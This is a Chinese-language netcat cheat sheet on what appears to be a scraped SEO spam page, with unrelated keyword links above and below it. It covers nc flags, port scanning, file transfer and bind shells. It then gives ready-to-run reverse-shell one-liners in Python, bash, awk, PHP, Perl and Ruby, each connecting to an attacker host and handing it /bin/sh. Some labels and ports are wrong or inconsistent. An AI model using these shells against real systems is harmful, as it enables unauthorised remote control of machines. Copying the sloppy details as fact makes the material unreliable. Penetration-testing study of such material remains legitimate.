当前位置: 首页 > wzjs >正文

固安县建设局网站什么是交换链接

固安县建设局网站,什么是交换链接,网页代码转wordpress,深圳市龙岗区住房和建设局nc常见参数说明 -l //使用监听模式 -p //设置本地主机使用的通信端口 -v //详细输出 -e //程序重定向 -n //直接使用ip地址(不通过域名服务器 -z //扫描端口时使用 > //接收文件 后面加将接收的文件命名,例如>1.txt 意为将接受的文件命名为…

nc常见参数说明

-l  //使用监听模式
-p  //设置本地主机使用的通信端口
-v  //详细输出
-e  //程序重定向
-n  //直接使用ip地址(不通过域名服务器
-z  //扫描端口时使用
>  //接收文件 后面加将接收的文件命名,例如>1.txt 意为将接受的文件命名为1.txt
<  //发送文件

常用命令

  • 端口监听

nc -l -p 9999
  • 端口扫描

nc -v 192.168.11.138 80 //扫描指定主机的端口
​
nc -v -z 192.18.11.138 20-1024  //扫描指定主机的某个端口段
  • 文件传输

nc -lp 333 >1.txt   //监听本地端口接收文件,将接收的文件重命名为1.txt
​
nc -vn 192.168.1.4 333 < test.txt -q 1  //与vps主机的333端口建立连接,并传输一个名为test.txt的文件
  • 简易聊天

# vps主机监听888端口
nc -l -p 888
​
# 目标主机连接vps的端口
nc -vn 192.168.1.4 888
  • 获取shell

shell分为正向和反向。如果客户端连接服务器,客户端想要获取服务器shell,称为正向shell。如果客户端连接服务器,服务器想要获取客户端shell,称为反向shell。(通俗来说,就是谁输入了/bin/sh类似的命令,谁的shell被拿)
​
反向shell通常用在开启了防火墙措施的目标机器上,例如防火墙过滤,端口转发等。(因为需要获取目标主机的shell才能进行下一步操作)
​
# 正向shell
正向shell即vps在自己的端口输出shell,客户端只监听vps的端口,客户端获取了服务器的shell
​
客户端:nc vps 444 //客户端监听vps的444端口
vps:nc -lvp 444 -e /bin/sh    //vps监听自己的端口并且把shell转发到这个端口,谁访问了这个端口谁拥有vps的shell
​
​
# 反向shell
反向shell即客户端输出shell给vps的指定端口,vps只监听端口,vps获取了客户端的shell
​
客户端:nc vps 999 -e /bin/sh  //监听vps的999端口,并将自己的shell转发给999端口
vps:nc -lvp 999
​
​

当目标主机没有nc时获取反向shell

python反向shell

# 原理
当目标主机没有nc工具时,但是有python环境,可利用python环境将shell反弹
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标主机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'    //10.10.14.1为vps的ip,2222为vps监听的端口
​
成功之后vps会获得目标主机的shell

bash反向shell

# 原理
只适用于目标机器是linux
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
/bash -i >& /dev/tcp/1.1.1.1/2222 0>&1
​
成功之后会vps获取shell
不成功原因:例如提示提示没有/dev/tcp 
参考链接:https://evilpan.com/2021/04/25/reverse-shell/
​
可以尝试awk获取shell

awk反向shell

# 原理
只适用于linux系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/2222"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
​
成功之后会获取目标机器的shell,并且所在目录是/dev

php反向shell

# 原理
适用于具有php环境的系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
php -r '$sock=fsockopen("1.1.1.1",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

perl反向shell

# 原理
适用于具有php环境的系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
perl -e 'use Socket;$i="1.1.1.1";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

rudy反向shell

# 原理
适用于具有php环境的系统
​
# 操作步骤
vps
nc -lvp 2222 //vps监听2222端口
​
目标机器
ruby -rsocket -e 'c=TCPSocket.new("1.1.1.1","4443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

http://www.dtcms.com/wzjs/226648.html

相关文章:

  • 网站频道建设需要优化的网站有哪些
  • 做海报的软件app免费河南seo快速排名
  • 做网站先做前端好还是先做逻辑适合发表个人文章的平台
  • 单位建设网站注意点北京快速优化排名
  • 网站制作公司转型数据搜索竞价排名
  • 建一个类似淘宝的网站需要多少钱承德网络推广
  • 一站式做网站多少钱国外网站seo免费
  • 北京网站建设公司排名无货源电商怎么做
  • mp3网站源码seo外链优化策略
  • 主机 可以 多少 网站免费的域名和网站
  • 做网站比较好今日热点新闻大事件
  • 温州正规制作网站公司查询网站备案信息
  • 台商网站建设公司黄页谷歌广告上海有限公司官网
  • 长沙口碑好的做网站公司哪家好seo包括哪些方面
  • 定州哪里可以做网站今天全国疫情最新消息
  • 销售网站制作个人微信管理系统
  • 手机做兼职的网站设计网络推广策划方案怎么写
  • 网站建设推广案例个人网站创建平台
  • 做静态网站的开题报告qq推广链接
  • 做一网站百度推广代理加盟
  • 网站出错 图片学校网站模板
  • 做视频网站视频网络营销策略分析论文
  • wordpress vlturseo排名软件
  • 网站体验优化作品推广
  • 百度搜索网站的图片seo免费教程
  • 东莞家具行业营销型网站建设多少钱中央新闻联播
  • 简述网站建设的主要内容网络课程
  • 英迈思网站做不下去可以退款吗优化培训方式
  • 购物手机网站怎么做谈谈你对seo概念的理解
  • 在家帮别人做网站赚钱吗如何设计网站的首页